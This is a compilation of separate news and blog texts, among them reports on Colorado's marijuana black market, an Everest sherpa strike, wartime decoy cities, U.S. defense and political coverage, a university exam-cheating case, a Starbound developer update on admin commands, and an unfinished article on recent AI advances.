-DENVER (CBS4) – Legalized marijuana dents the drug’s black market.  That’s one lure Amendment 64 supporters employed in 2012 to entice voters hesitant about legalized pot to cast a ballot for it: Grow it, sell it and tax it legally and there would be fewer instances of back-alley, street-corner deals.  It didn’t take long for CBS4 Investigator Rick Sallinger to find the black market is still operating. A source provided some phone numbers and one quick call was all it took to set up a prospective deal. A CBS producer with a hidden camera met the dealer on the corner of 12th Avenue and Lincoln Street in Denver.  “What’s that?” the producer asked.  “That’s the skunk. I threw in a bonus bud of Afghan in there,” the dealer replied.  The producer did not accept the marijuana or provide any money.  But drug investigators and Denver Police Department numbers disagree.  “The black market has exploded and continues to,” Ernie Martinez, the president of the Colorado Drug Investigators Association and a Denver police lieutenant, told CBS4. “It’s totally Pollyanna to think it’s gone.”  Martinez says there are several reasons. Customers, he believes, might prefer to buy from their long-time dealers, they trust them and they like the product. But the key reasons are money and supply.  “Bottom line: It’s cheaper,” he said. “And you can get more of it. Unlimited amounts, as long as you have the money.”  Martinez says narcotics officers across the state see that financial undercutting daily.  Drug seizures have increased in the last several months, Martinez says. Distributors continue to haul the drug from Mexico along Interstate 25 and up through southwestern border states and into Colorado on Interstate 70.  “It’s very naïve and, in a lot of instances, it’s very disingenuous to think the cartel or the black market has gone away or been eliminated,” Martinez says.  But a street dealer disagrees.  “It’s destroyed the black market,” says a dealer who agreed to talk on the condition that CBS4 wouldn’t reveal his identity. “Five years ago, millions of dollars were still flowing down I-25 toward Mexico to supply the marijuana for the people who smoked here.”  Now, he guesses, only about 10 percent of the pot market is supplied illegally, down from his estimate of 90 percent before Amendment 64. He says he’s generating only 50 percent of the business he did three years ago.  CBS4 asked Denver police about the statistics. They pointed out they have changed methods of keeping track and many times marijuana sales are often included in other crimes not reflected in those figures.  The dealer, who spent six years in prison on a marijuana conviction before Denver loosened its restrictions, buys medical marijuana with a card and then profits through volume by selling smaller amounts — quarter- and eighth-ounces — for more money.  But if recreational and medical marijuana cost significantly more — at least twice as much as he offered it to CBS4’s undercover producer — how could he see a hit to his business?  “Anyone can go get a medical card for just about any reason. Why they don’t baffles me,” he says.  As prices drop, the black market will, too, he argues.  “It’s just a matter of time before the recreational prices come down and the laws of the marketplace step in,” the dealer says. “Once that price goes down to a fair level, there will be no use for someone like me.”  Related Stories
-We are sorry, you need to be a subscriber to watch this video  We are sorry, you need to be a subscriber to watch this video  Nepalese sherpas have closed Everest to commercial climbing amid mounting anger over pay and conditions following the deaths of 13 colleagues.  The strike by sherpas has stranded more than 330 foreign climbers at Base Camp at the start of the six-week climbing season, most of whom have paid $50,000 (£30,000) to scale the peak.  There is growing tension between the wealthy climbers and sherpas, who feel they are being exploited to work in extremely dangerous conditions for relatively low pay.  Their colleagues had been fixing routes and carrying equipment for climbers through the ice fall above Base Camp for the spring climbing window when an avalanche swept them away.  At a tense meeting held at Everest Base Camp on Sunday night, about 300 sherpas and…
-The award is one of the most important in the auto industry -- and it's going to a startup electric-car maker  Motor Trend has given its Car of the Year award to Tesla for its Model S electric sedan (Photo11: Tesla) Story Highlights Motor Trend gives its highest honor to Tesla  The Model S sedan beat Porsche Boxster, BMW 3 Series and others  The magazine says its vote was unanimous for the first time "in memory"  In a move sure to shock the auto world, Motor Trend has named a startup company's plug-in electric vehicle as its coveted Car of the Year. The winner: Tesla's Model S sedan.  What's more, it wasn't even close: Motor Trend says it was first time time "in memory" that every judge agreed. In order to win for 2013, the Tesla had to beat luxury sedans like Lexus GS and BMW 3 Series and sports car like Porsche 911 and Subaru BRZ.  While the auto world is awash in awards, Motor Trend's nod is one of the most closely watched, along with the North American Car of the Year. The magazine didn't hold back its praise for the Tesla sedan.  A CLOSER LOOK: Cars.com checks out the Model S  "It drives like a sports car, eager and agile and instantly responsive. But it's also as smoothly effortless as a Rolls-Royce, can carry almost as much stuff as a Chevy Equinox, and is more efficient than a Toyota Prius," Motor Trend writes "By any measure, the Tesla Model S is a truly remarkable automobile, perhaps the most accomplished all-new luxury car since the original Lexus LS 400."  Tesla is the California-based automaker run by entrepreneur Elon Musk, who also is CEO of SpaceX, the rocket-launching firm. The Model S, which starts at about $57,000, is an all-electric sedan that in its longest range version is government-certified as being able to go 265 miles on a single charge.  "Our aspiration with the Model S was to show that an electric car truly can be better than any gasoline car," says Musk in a statement. "Nothing illustrates this more clearly than winning Motor Trend's Car of the Year by unanimous decision."  Motor Trend said it achieved the electric equivalent of 118 miles a gallon on a 212-mile jaunt. Yet the 4,766-pound car was able to bolt from zero to 60 miles per hour in 4 seconds. It had a top speed of 133 mph. The performance version has electric motors that put out the equal to 416 horsepower in a gas engine.  Motor Trend calls it "one of the quickest American four doors ever built."  Read or Share this story: http://usat.ly/RyA3TE
-Plaque marking a London zeppelin raid from 1915 (photograph by Christoph Braun/Wikimedia)  Whether it was the terrifying drone of a German heavy bomber or the near-silent hum of a zeppelin, since the beginning of WWI when bombs fell on civilian targets far from the Front, the threat of death from the skies has been very real during times of war. But the art of war is not just in the power of destruction, it is also in methods of confusion and subterfuge.  From January of 1915 until the end of the First World War, German dirigibles made around 51 bombing runs against Great Britain – which led to more than 500 deaths. Although these bombings are often focused on by historians, the Belgian cities of Leige and Antwerp were both bombed in 1914, as was Paris (although Paris received more than the standard incendiary bombs, they were also bombed with leaflets, demanding the French surrender). Originally the German Kaiser, Willhelm II, forbade bombing strikes against London, as the King and Queen of England were his close relatives (he was the eldest grandson of Queen Victoria), although on seeing the immense psychological damage these raids had on the British, the Kaiser complied with the advice of his generals, and London became a target.  “It is far better to face the bullets than to be killed at home by a bomb. Join the army at once and help to stop an air raid. God save the King” (1915 poster) (via Library of Congress)  At first there was little that could be done against the silent menace of dirigibles, as the ground-based anti-aircraft weapons of the time did not have the range required to hit them, and those weapons that could be mounted on interceptor-aircraft had little effect on the flying behemoths.  Alternate methods of defense were required.  Engineers in Britain and France were redirected from the efforts of the land-war, which in itself was a victory for the German High Command, as the damage caused by the dirigible raids was, in fact, negligible. Devices such as the acoustic mirror and incendiary bullets were invented, but it was perhaps the French who came up with the most elaborate solution: an artificial Paris, designed to be built on the city’s northern outskirts.  The town of Maisons-Laffitte north of Paris, was the focal point of the French military’s efforts to protect Paris from German bombing runs, although three more sites were planned, surrounding the capital. It sat on a stretch of the Seine that closely resembles the river as it passes through Paris, some 15 miles to the south. Built mostly of wood and canvas, a team of artists was hired to paint the city, and the electrical engineer Fernand Jacopozzi (famous for first lighting the Eiffel Tower), was brought in to make Faux Paris more appealing to the German bombers.  A map of Faux Paris (via JF Ptak Science Books, which has more images of the “Second Paris” on their site)  Although only a small fraction of the fake city was ever completed, it had running trains, as well as replicas of the Arc de Triomphe and the Champs-Élysées. It had working lights (just dim enough to convince the Germans that the French had closed their curtains to disguise the city), and industrial sectors, with a translucent paint applied to the roofs to mimic dirty glass ceilings. The partly-built city was never attacked, and quickly disassembled at the end of the war. The Germans were, apparently, developing similar plans for their industrial bases, but the war ended before those plans could be put into action.  In the Second World War, German bombing raids on England intensified. Almost nightly, the Luftwaffe’s bombers droned above London, and although the anti-aircraft weapons were much more powerful than during the First World War, so too were the aircraft. The Battle of Britain raged in the skies, with more than 90,000 civilian casualties. The British authorities needed to not only protect their military assets, but also to protect the people from German bombings. They borrowed the plans of the French, whether deliberately or through convergent evolution.  Around the United Kingdom, various potential targets were identified, focused primarily on military hardware, with false tanks, aircraft, and factories constructed to fool German bombing raids. After the bombing of Coventry, however, they expanded this project with the construction of Q-sites.  Q-sites were built within four miles of potential target cities, and were laid out to simulate blacked-out towns, with fires being lit in the Q-sites after the first wave of bombs were dropped on the target towns. It is estimated that more than 900 tons of munitions were wasted on these sites. The concept of blacking-out towns across Britain saved countless lives, as in the days before reliable aircraft navigation aids and techniques, pilots and their crew needed to see their targets or local landmarks. In fact, some of the most lethal German pilots were those who had studied or holidayed in Britain before the war, as they knew both the locations of culturally important sites, and the potential psychological damage that could be inflicted through longterm bombing these places.  It wasn’t only the British who got caught up in the building of fake towns After the raid on Pearl Harbor in December of 1941, industrial sites along the West Coast were disguised as non-military sites. Boeing’s B17 Bomber factory in Seattle, for instance, was covered with 26 acres of suburban streets, such as the charmingly named Synthetic Street. Actors were hired to walk on the rooftop, hanging laundry, and engaging in other wholesome 1930s behaviors. (Photographs can be found here.)  A soldier with an inflatable three-ton lorry in WWII (via Imperial War Museums)  An inflatable Sherman tank from WWII (via Imperial War Museums)  During the Second World War, the Allies deployed the so-called Ghost Army to France in the wake of the D-Day invasion. The Ghost Army (or, officially, the 23rd Headquarters Special Troops) was an Allied unit that moved through France sowing misinformation and generally confusing the enemy. Made up primarily of actors, artists, engineers, and advertisers, they operated near to enemy lines, and deployed inflatable tanks, dummy airfields, troop emplacements, and artillery formations. Alongside these visual props were recordings of troops and vehicles rumbling, and the Ghost Army filled the airwaves with false radio chatter, as well as imitating other Allied units’ insignia and ranks to further deceive the Germans.  Even earlier in the war, particularly in North Africa, British forces employed deception as a tactic against the famous General Rommel, building fake railway stations and supply columns — these efforts led directly to Operations Bodyguard, Titanic, and Glimmer, which in turn convinced the German military that the Normandy landings were the deception, and diverted a significant portion of German manpower away from the landing sites at Normandy for a staggering seven weeks.  Dummy paratrooper used in D-Day, which included machine gune fire simulators & self-destroying charges (photograph by Pajx/Wikimedia)  During the Vietnam War, fought from the early 1960s until the fall of Saigon in 1973, the Viet Cong were also known to make use of artificial villages to protect their tunnel complexes, and false tunnels, to distract American and Australian soldiers and consume valuable operations time. These tunnel complexes could be, well, incredibly complex, with some of the larger ones not only featuring bunkers and weapons depots, but also political re-education schools, command centers, hospitals, and even theaters (for the production of politically educational plays, no doubt.) The most elaborate of these tunnel systems ran for miles, and often needed to be flushed out by the so-called “tunnel rats,” men who were often the physically smallest soldiers in their units, who crawled through the underground passages armed with only pistols and flashlights.  Although WWI saw the first mass production of artificial cities to confuse the enemy, there are also the (alleged) historical example of Grigory Potemkin, who built artificial villages in the 18th century to fool his Empress. After the Russian conquest of Crimea in the 1780s, Tsarina Catherine the Great appointed Potemkin as the region’s governor, tasked with rebuilding the shattered countryside. Although the story may be apocryphal, it is said that Potemkin’s men assembled villages along the river where Catherine’s barge drifted, and acted out the roles of peasants until the Tsarina passed along. The village would be quickly disassembled, and rebuilt further downstream to continue the deception.  North Korea’s Kijong-dong, aka “Propaganda Village” (photograph by Don Sutherland, U.S. Air Force)  Possibly the most famous “Potemkin village” in the world is that of Kijong-dong, in North Korea, which, according to the North Korean government, is home to a collective-farm, worked by 200 families, as well as the world’s third largest flagpole(!). The rest of the world disagrees, and observation through telescopic lenses reveals that the city is uninhabited, and that none of the buildings are anything more than concrete shells, with automated lighting systems and cultivated fields around the site striving to add to the illusion.  In 2010, it was reported that the Russian government had purchased a large number of inflatable planes and tanks, in order to disguise the deployment of its military hardware. Even though we live now in a world where it seems that everything is observed and under question, at least two countries think we can still be fooled through such simple deceptions.
-A U.S. Air Force F-16 Fighting Falcon refuels over Afghanistan in November. (Photo: Staff Sergeant Sean Martin/USAF)  Little peace, and our strength is ebbing: A report from the Reagan National Defense Forum.  This past weekend marked the annual Reagan National Defense Forum, held at the Ronald Reagan Presidential Library in Simi Valley, California. It was the first Forum since the Republicans took control of the White House and both houses of Congress. In the past, the Forum has facilitated vibrant discussion among leaders in the national-security community, and this year was no different. The panels and speakers included a bipartisan mix of administration, congressional, analytical, and retired military leaders. Virtually every panel offered a headline worthy of comment. Insights ranged from Representative Mike Gallagher’s allusion to Halford Mackinder’s early-20th-century World Island theory to General John Hyten’s new thought that there is no “war in space. There is only war, and space is one of the domains in which it will be fought.”  Advertisement  One of the themes that emerged throughout the day was that there is very little peace in the world. Former secretary of defense and CIA director Leon Panetta observed that he had never seen so many flash points in the world at the same time. Various speakers called out Russia, China, North Korea, Iran, and, more broadly, radical Islamic terrorism as threats to the peace and security of the United States. Retired General Jack Keane bluntly stated that China was trying to dominate its region without firing a shot, and Lieutenant General H. R. McMaster, the current national-security adviser to President Trump, candidly called out North Korea, with its investments in intercontinental ballistic missiles and nuclear warheads, as a clear and present danger to the United States.  McMaster’s luncheon address was arguably the high point of the day, with national news channels breaking into their regular schedule to cover it. The general offered hints as to the contents of the Trump administration’s much-anticipated national-security strategy. In a clear swipe at the Obama administration’s “lead from behind” approach, McMaster stated that President Trump and his team were focused on “recovering the strategic initiative.” He alluded to actions that could be taken in the diplomatic, economic, and military arenas. McMaster, who has a Ph.D. and a reputation for incisive thought, suggested that the new national-security strategy would seek to balance strategic ends with the nation’s ways and means rather than simply present the banal bumper stickers that have constituted recent strategies of both Republican and Democrat administrations.  Advertisement  Space emerged as a major topic of conversation. At a panel that included General Hyten, Secretary of the Air Force Heather Wilson, and Mike Rogers, chairman of the House Armed Services Committee Strategic Forces Subcommittee, there was a vigorous debate between Wilson and Rogers, with Hyten stuck uncomfortably between them. Rogers asserted that space is being rapidly militarized, with competitor nations making huge investments in attempts to catch up to and overtake the United States in a domain it has long dominated, and that the Air Force, as a bureaucratic entity, was stifling the evolution of the nation’s space forces. Wilson pushed back vigorously, stating that the Air Force was manned by a superb cadre of space professionals and that the service had dramatically increased its budgetary investments in space. Rogers said that the Air Force needed to create within itself a Space Corps, which would be analogous to the Marine Corps within the Department of the Navy. Such a corps would have independence in the development of its budget, forces, operations, and strategy. Hyten inserted himself carefully into the conversation, all the while highlighting that space was already a domain in which a strong competition between great powers was occurring. The space conversation, though lively, was ultimately a debate without a conclusion.  Budgets and force readiness were the dual themes that ran throughout the day. Everyone, except Representative Adam Smith (D., Calif.), bemoaned Congress’s inability to overturn the 2011 Budget Control Act. Secretary of the Navy Richard Spencer observed that the nearly endless string of continuing resolutions that has characterized the post–Budget Control Act era had cost the Navy and Marine Corps over $4 billion in stop-and-start expenses. Despite a broad consensus among attendees, it was clear that internal disputes with “fiscal hawks” who viewed rising deficits as significant national-security threats in and of themselves were going to block any Republican attempts to do away with the Budget Control Act in the near future. There was a palpable sense of frustration in the room, especially among the Republican members of the House and Senate Armed Services Committees. Despite having a Republican president who wants a larger military, and majorities in the House and the Senate, there was no real sense of energy or forward movement on strengthening the nation’s defense.  Advertisement  Advertisement  Force readiness was the other bogeyman in the room, with speakers from McMaster to former Obama appointee Kathleen Hicks highlighting the need to invest in readiness and modernization. Readiness and modernization, the latter in the form of investments in new “offsetting” capabilities, seem to represent the major hurdles that the Department of Defense needs to clear before it can begin to grow the force. Both seem to suggest false choices, as no real dollar amount has been advanced to answer the question of how much it would cost to achieve high “readiness,” and investments in modernization can coexist with investments in growing the force by following a traditional acquisition strategy consisting of a “high-low” mix. The desire by some to pursue only those high-end capabilities that are viewed as essential to winning the next great-power war carries with it the potential to diminish the day-to-day force that is critical to preserving the peace.  Advertisement  Advertisement  In the end, this year’s Reagan National Defense Forum highlighted the fact that the new administration, despite some irregularities in its strategic messaging, is attempting to reverse the passive strategic course of the past and to chart once again a more assertive role both both here on earth and out in space. However, problems within the legislative budgetary process are threatening to hamper these efforts and could further erode the United States’ position on the global stage. Lastly, there was a general sense of ennui throughout the Forum, a persistent intrusion of the overused boilerplate answers to longstanding problems in various panels, and few conversations containing innovative ideas or an energetic sense of forward motion. Actors within the defense community, and even within the Republican party itself, still seem pitted against each other. At the end of the day, as I stood next to Ronald Reagan’s grave while the sun set behind the western foothills he loved, I came away with the sense that somehow the nation’s defense community was beset by challenges and had accepted just standing still. Reagan would not be pleased.  Advertisement  READ MORE:  Advertisement  Advertisement  Why We Need More Defense Spending  End Defense Budget Sequester & Rebuild Our Military  Trump’s ISIS Victory
-CTV Kitchener  A 20-year-old woman and 21-year-old man face charges in connection with an alleged unusual bout of cheating at the University of Waterloo.  The woman, Kaiwen Qian, is a student at the school.  She appeared Wednesday in a Kitchener court on charges of personation and uttering a forged document, and was released on $3,000 bail.  She is accused of getting the man – Longhua Wang, a student at York University – to write an exam for her.  Nick Manning, a spokesperson for the school, says staff were alerted to the possibility one or more students would be cheating during a specific math exam.  “(We) put measures in place to detect that cheating, and we discovered that a male student from a different university had been paid to come and take an exam for one of our students,” he told CTV News.  Wang, Manning said, somehow came into possession of a fake Waterloo student ID containing his picture and Qian’s name.  It’s alleged that Wang was paid more than $900 to write the exam.  Qian returns to court in January.  School officials say they continue to investigate the fake student ID, and whether any others were issued.  “We know that students are under immense pressure to pass exams … and inevitably some will find ways to cheat, which is a great shame,” Manning said.  “We … expect them to uphold very high standards of integrity, which means not cheating.”
-Former Prime Minister Benjamin Netanyahu is slated to meet with Barack Obama. McCain is winning — in Israel  While the European leg of Barack Obama’s much-touted overseas trip will take him to nations where he’s vastly more popular than John McCain, Obama is not nearly as well-liked in Israel. Polls there show Israelis prefer John McCain by as much as 20 percentage points.  Obama’s Middle Eastern swing will also take him to Jordan and possibly to Iraq, but the electoral stakes may be highest in Israel, which has long played a prominent role in American foreign policy and domestic politics.  Story Continued Below  Obama spokesman Tommy Vietor downplayed the electoral significance of the senator’s Israel visit, saying the purpose is “to convey to Israeli leaders and the Israeli people his commitment to the special U.S.-Israel relationship and his strong personal feelings of friendship. He is deeply committed to Israel's security.”  If Obama, the presumptive Democratic presidential nominee, impresses in his visit, it could help him close the international affairs experience gap with his Republican rival, and also solidify his support among Jews and evangelicals skeptical of Obama’s expressed commitment to Israel.  Israelis appear to share those concerns. In the past month, one poll found 36 percent of Israelis preferred McCain, versus 27 percent for Obama, while in another, 46 percent of respondents said a McCain presidency “would be better for Israel,” compared to 20 percent who said the same about Obama.  Those results stand in stark contrast to public surveys conducted in most other nations. A spring Pew Global Attitudes Project poll of 23 foreign nations — not including Israel — on six continents found respondents in all but two countries had more confidence in Obama than McCain to do the right thing in world affairs, often by wide margins. (In the two outlying countries, Jordan and Pakistan, few people expressed confidence in either candidate.)  Obama’s support tended to track fairly closely with widespread distaste for President Bush’s foreign policy — which includes strong support for Israel in its conflicts with the Palestinians and Israel's Arab neighbors.  But that foreign policy has been embraced in Israel, where Bush remains a popular figure.  “Israelis see Bush as having been better to Israel than almost any president before has been,” said Albert Baumgarten, a Jewish history professor at Bar-Ilan University in Ramat-Gan, Israel. Israelis, he said, “feel almost as if he’s their president.”  Baumgarten, a dual Israeli-U.S. citizen who’s supporting Obama, said Israelis believe McCain is more likely to continue pursuing the Bush administration’s foreign policy agenda.  McCain has received mostly positive coverage in Israel, both for his hard line on Iran and for his military service, including his time as a prisoner of war in North Vietnam. That’s an experience valued by Israelis, who are required to serve in the country’s armed forces.  He’s also benefited from the support of Sen. Joseph I. Lieberman, the former-Democrat-turned-independent, whose Orthodox Judaism and staunch support of Israel make him a popular figure in Israel. Some Israelis, said Jerusalem-based pollster Mitchell Barak, count against Obama “that the Democratic Party is not a welcome place for Joe Lieberman.”  But McCain’s edge in the Jewish state seems to stem in large part from an antipathy toward Obama. In May, New York Sen. Hillary Rodham Clinton, then seeking the Democratic presidential nomination, outpolled McCain in a head-to-head matchup by a margin of 57 percent to 18 percent. The same poll, conducted by Barak’s firm, showed McCain with a 43 percent to 20 percent edge over Obama among Israeli voters.
-Sean Spicer got asked about the Carl Vinson mystery today. It was … well, it was sad. Spicer basically said ‘Oh, you misunderstood what we meant. Sucks to be you.’ (Actual quotes and more here.) That’s silly. Here’s what happened or rather what I think we can be fairly confident happened based on the totality of evidence and anonymous sources at the Pentagon reported in the press. (TPM’s Matt Shuham is just published a detailed timeline of the events in question here.)  A Carrier Strike Group, an armada of ships lead by an aircraft carrier, the modern capital ship, doesn’t turn around on a dime. I don’t mean that literally. I’m sure the armada of ships can make an immediate shift in direction if necessary. But these are big groups of ships, with thousands of seaman, a schedule of maneuvers, trainings, exercises, ports of call, etc. Changing plans and going somewhere else doesn’t necessarily mean literally turning around immediately and canceling everything that was planned. Making a significant short term scheduling change is a reasonably big deal in itself.  What seems to have happened is that the decision was made to send the carrier group back to waters around the Koreas. They didn’t cancel a planned exercise to the South but scrapped a port of call in Australia to get back to the waters around Korea and Japan more quickly. This was a significant change of plans and would have sent what seems to have been the intended signal – a bit of saber-rattling in the context of the current stand off between North Korea and the United States. My point is that the original Pentagon statements were reasonable descriptions of what was happening.  But then the White House and particularly the President said things that were much more direct and clearly, at best, misleading. What is key is that this does not seem to have been some intentional misdirection or ambiguity. The Korean Peninsula is not a war zone at the moment, thankfully. But there is a stand off and military assets are being used for a tactical-political purpose. Nation states don’t consider themselves bound to strict transparency in such cases, understandably. If we had learned later that the US had said something was happening which was not true to drive anxiety in North Korea, this would not be entirely surprising. But again, that does not seem to be what happened. It seems much more like the White House and the President got sloppy, didn’t know exactly what was happening and through sloppiness and bravado created an impression that simply wasn’t true.  There doesn’t seem to have been any one single misstatement, more a slow process of overstatement that led to erroneous information becoming assumed by everyone. Spicer is now saying it’s the press’s fault they misunderstood. But the publics and press in the region’s seem to have misunderstood too. And it even seems like the governments may have misunderstood. Those are the kinds of misunderstandings which, if not by design, it’s the US government’s responsibility to clarify.  And in fact a key point in the rhetorical escalation seems to have come from Spicer himself. On April 11th, Fox News Kevin Corke had this exchange with Spicer.  Q Putting that strike carrier group in the Sea of Japan, in that region, is that also a messaging circumstance? Or is that simply protective for our allies in Japan and Korea? MR. SPICER: A carrier group is several things. The forward deployment is deterrence, presence. It’s prudent. But it does a lot of things. It ensures our — we have the strategic capabilities, and it gives the President options in the region. But I think when you see a carrier group steaming into an area like that, the forward presence of that is clearly, through almost every instance, a huge deterrence. So I think it serves multiple capabilities.  So Corke asked a question with a factual premise and Spicer seemed to affirm that inaccurate factual premise and escalate it. Did Spicer just not know? It seems like he was simply carried along with the misunderstanding. The following day President Trump addressed the issue. But his statement wasn’t really clearly misleading as to timing. It just pumped up the decision to send the group back to the north. Asked by Fox News Channel’s Maria Bartiromo, “What are we doing right now in terms of North Korea?” Trump answered: “We are sending an armada, very powerful.”  Actually, the back and forth is weirder than that. Bartiromo asks him. He says he doesn’t want to talk about it. Then he talks about the Middle East. Then he says he doesn’t want to talk about it. Then he talks about it …  BARTIROMO: You redirected navy ships to go toward the Korean Peninsula. What we are doing right now in terms of North Korea? TRUMP: You never know, do you? You never know. BARTIROMO: That’s all (INAUDIBLE)… TRUMP: You know I don’t think about the military. BARTIROMO: Yes. TRUMP: I’m not like Obama, where they talk about in four months we’re waiting — we’re going to hit Mosul. BARTIROMO: Right. TRUMP: And in the meantime, they get ready and like you’ve never seen — look, they’re still fighting. Mosul was supposed to last for a week and now they’ve been fighting it for many months and so many more people died. I don’t want to talk about it. We are sending an armada, very powerful. We have submarines, very powerful, far more powerful than the aircraft carrier, that I can tell you.  Looking at every, most of the escalating statements came from the White House or President Trump. But there’s a key exception. On the same day Spicer got into his exchange, April 11th, Secretary of Defense Mattis gave a briefing at the Pentagon at which he said the decision to send the Vinson Carrier Group north wasn’t tied to any particular event.  “As far as the movement of the (Carl) Vinson, she is stationed there in the Western Pacific for a reason, she operated freely, up and down the Pacific, and she is just on her way up there because that is where we thought it was most prudent to have her at this time.”  Out of context, this is perhaps a bit ambiguous. “She is just on her way up there” can be a general reference to movements in the context of the group routinely moving around the Western Pacific. But notably there’s https://www.defense.gov/News/Transcripts/Transcript-View/Article/1148604/press-conference-by-secretary-mattis-and-gen-votel-in-the-pentagon-briefing-room/.  Q: (Inaudible) unusual for us to know about a ship movement in advance. That was sort of what — what got everyone’s attention. So why was that? I mean, why was it put out in advance? Was it just to signal to North Korea that there would be a show of presence there? SEC. MATTIS: I believe it’s because she was originally headed in one direction for an exercise, and we canceled our role in that exercise, and that’s what became public. We had to explain why she wasn’t in that exercise. [Sic: The ship’s port visit to Fremantle, Australia, was cancelled; the exercise with the Royal Australian navy is proceeding as planned.]  The paranthetical correction is from the Pentagon. But it’s from yesterday, according to a DOD spokesman – so after the news stories confirming that there had been confusion about the location of the carrier group.  Mattis’s references here make it clear there was at least some level of confusion from Mattis himself. It seems like he may have been unclear in his own mind whether or how much of the exercises were curtailed or canceled altogether. At a minimum, his comments were misleading. But again, they were mainly misleading in the context of inflated comments from the White House and the President.  At this point, what seems to have happened is that people at the planning and operational level started realizing that what was being discussed in the news (and maybe even privately with US allies) in the US and the region wasn’t really true. But they seem to have refrained from clarifying or contradicting these erroneous reports thinking that these public declarations were political decisions that weren’t which it wasn’t their place to contradict. So they didn’t.  Here’s a key passage from the story in Defense News that first reported that carrier group’s real whereabouts.  U.S. Navy officials in Pearl Harbor and Washington declined to comment on the ship’s movements, other than to confirm the April 15 movement through the Sunda Strait. Off the record, several officials expressed wonderment at the persistent reports that the Vinson was already nearing Korea. “We’ve made no such statement,” said one official.  Not contradicting what the White House was saying might make sense if it seemed like the White House was being deliberately misleading. It seems more like they were confused. At a minimum it seems clear that people at the operational level were quite aware that people on both sides of the Pacific were assuming something was true that was not true. At the end of the day, this looks like the product of confusion and miscommunication within the administration. That’s a problem. It didn’t have any cataclysmic effect in this case. But in a high stakes stand off mixed with gunboat diplomacy, it could have.
-Obama stressed the need to build "trust between police officers and departments in the communities that they serve.” | Getty Obama huddles with top law enforcement aides on policing  CLEVELAND — President Barack Obama met with his top law enforcement aides at the White House to discuss more ways to help police on Tuesday evening, even as Republicans continued attacking the president for stoking tensions over policing.  The Oval Office meeting wrapped up just as news broke that an officer had been shot and succumbed to his wounds in Kansas City. It also followed an open letter Obama penned to police forces on Monday in which the president sought to bolster his support for law enforcement after several days of criticism that his responses to the attacks on police in Dallas and Baton Rouge were insufficient.  Story Continued Below  “I strongly believe that there is no contradiction between us protecting our officers, honoring our officers, making sure that they have all the tools they need to do their job safely, and building trust between police officers and departments in the communities that they serve,” Obama told reporters at the end of the private meeting on Tuesday. “In fact, those things are complementary and not contradictory.”  The meeting included Homeland Security Secretary Jeh Johnson, Attorney General Loretta Lynch, FBI Director James Comey and White House Counsel Neil Eggleston.  But Republicans continued their rhetorical assault on Obama. “He blamed the police” for the latest round of violence, said Sen. Jeff Sessions in remarks formally nominating Donald Trump for the Republican presidential nomination on Tuesday night.  “Tensions have been very high, and I blame the president. He has the bully pulpit,” said Texas Lt. Gov. Dan Patrick. In an interview with POLITICO in Cleveland on Tuesday, the Republican repeated his call for Obama to light the White House in blue to commemorate police. “Eight police officers killed in two weeks and he won’t turn on the blue lights.”  Patrick added, “It’s the president being stubborn, and while he’s being stubborn, people are getting killed, and the public is very concerned.”  Obama said on Tuesday, as he has before, that he wants the federal government to do more to help the 18,000 law enforcement agencies around the country to work together. And he acknowledged that local departments don’t have enough money to provide things like bullet-proof vests for their entire forces.  “My intention over the next several months, as long as I'm in this office, is to continue to look at best practices, figure out what’s working well; listen to our police departments in how we can help them; engage the community; build up trust. What kind of equipment do they need? What kind of training do they need? What kind of recruitment strategies do they need? And then to do everything we can to convene all parties concerned, including Congress, to make sure that they can get those resources,” Obama said.  Obama has been meeting with activists and police officials in the wake of not only the attacks on police, but the deaths of two black men at the hands of police earlier this month. Obama has frequently spoken of racial disparities in the criminal justice system, and his administration has driven a sweeping effort intended to improve community policing. But rank-and-file officers have bristled at his messages, and his perceived slights of the police have become a major theme of the Republican National Convention.  Even as Obama has worked to offer unequivocal support to police, they’ve also asked him to take specific steps. The National Sheriffs' Association and the Fraternal Order of Police have called on him to reconsider the administration’s new restrictions on military equipment for local police, for example. While the White House has been noncommittal on that front, Obama said Tuesday that over the past few weeks, there have been “much more constructive conversations and the offering up of very concrete recommendations and suggestions for how we can do better.”  Obama concluded, “This is not going to be something we can do just from this office, or from the Department of Justice or the Department of Homeland Security. This is something that is going to have to be bottom-up.”
-I’ve been working on a few nice things for the behind the scenes stuff.  First thing I did was make a few of the admin commands nicer. Banning now can take an optional timeout and unban automatically once the time is done. The cavaets are that the server needs to stay running, because temp bans aren’t stored, yet (perm bans are of course). This is useful for short term bans for someone to cool off, like 10 minutes or a few hours.  Next, I retooled a bunch of the duplicate admin commands to take a playerSpecifier instead. See my player specifiers post on the forums for more detail on how they work.  Then I changed /listcid to simply /list and modified it to also display the player’s UUID and if the player has characters that can’t normally be displayed by our font it will display the UTF escape code for the character instead. So if you have someone named “😀☃” you won’t be able to read their nickname normally but the list command will output them as $3 : \ud83d\ude00\u2603 : $$(uuid goes here).  You can use the unicode escape sequence to address them to any admin command.  Notice that I’m using the \u not the \U unicode escape sequences, which means much of my time this morning was taken up writing an encoder and decoder for UTF surrogate pairs and redoing bits of the parser to handle them better. This will save a lot of keystrokes though, because that sort of huge unicode codepoint is rare.  Next, I stuck a lua script hook into the command processor. Now you can define your own admin commands. There isn’t much to the lua API yet, but that will change as we figure out what you need.  Finally, I changed the format of the Lua callbacks so that Doxygen can parse them (some of them anyway, there’s still a lot to do), then I changed our doxygen settings to make documentation fit for public consumption (remove verbatim_headers and full_source).  You can find public documentation at: http://doc.playstarbound.com.  Currently it’s updated manually whenever I fancy it. But once we get the nightlies system working, I’ll make sure that the script that uploads the nightlies also updates the documentation. Enjoy modders.
-Just a few years ago the common perception was that we were in an AI winter.  Although there were lots of narrow AI applications running in the background of our daily lives, there wasn’t much enthusiasm.  But quietly in the background, a revolution was building thanks to progress across a few key areas. These areas would soon converge to produce breakthrough after breakthrough and put us on the verge of what many believe to be the most important event in human history.  Key Advance 1) More Data  Andrew Ng of Baidu explains that a massive amount of data is needed. If you put 10x the data in many of these algorithms they work, put 1/10th in and they don’t.  Previously it was very difficult to get hold of the massive amounts of data required to feed the AI systems, but thanks to the internet researchers have tonnes of data to train their neural nets.  Key Advance 2) More Computing Power  If you only have the computational power to build a small neural network it doesn’t work. But computer power has continued to increase and prices have dropped.  Moore’s Law may be stalling, but the Law of Accelerating Returns is not.  The Law of Accelerating Returns. What Steve Jurvetson calls “the most important graph ever”.  GPUs are much better for training neural networks than CPUs and have provided the computer power needed for these algorithms to function.  Infrastructure has also improved. Today it’s possible for anyone to rent a massive amount of GPU power on cloud computing platforms (AWS, Microsoft Azure, Google Cloud, IBM Cloud).  Key Advance 3) Better Algorithms  Neural networks have been known about for decades, but most researchers 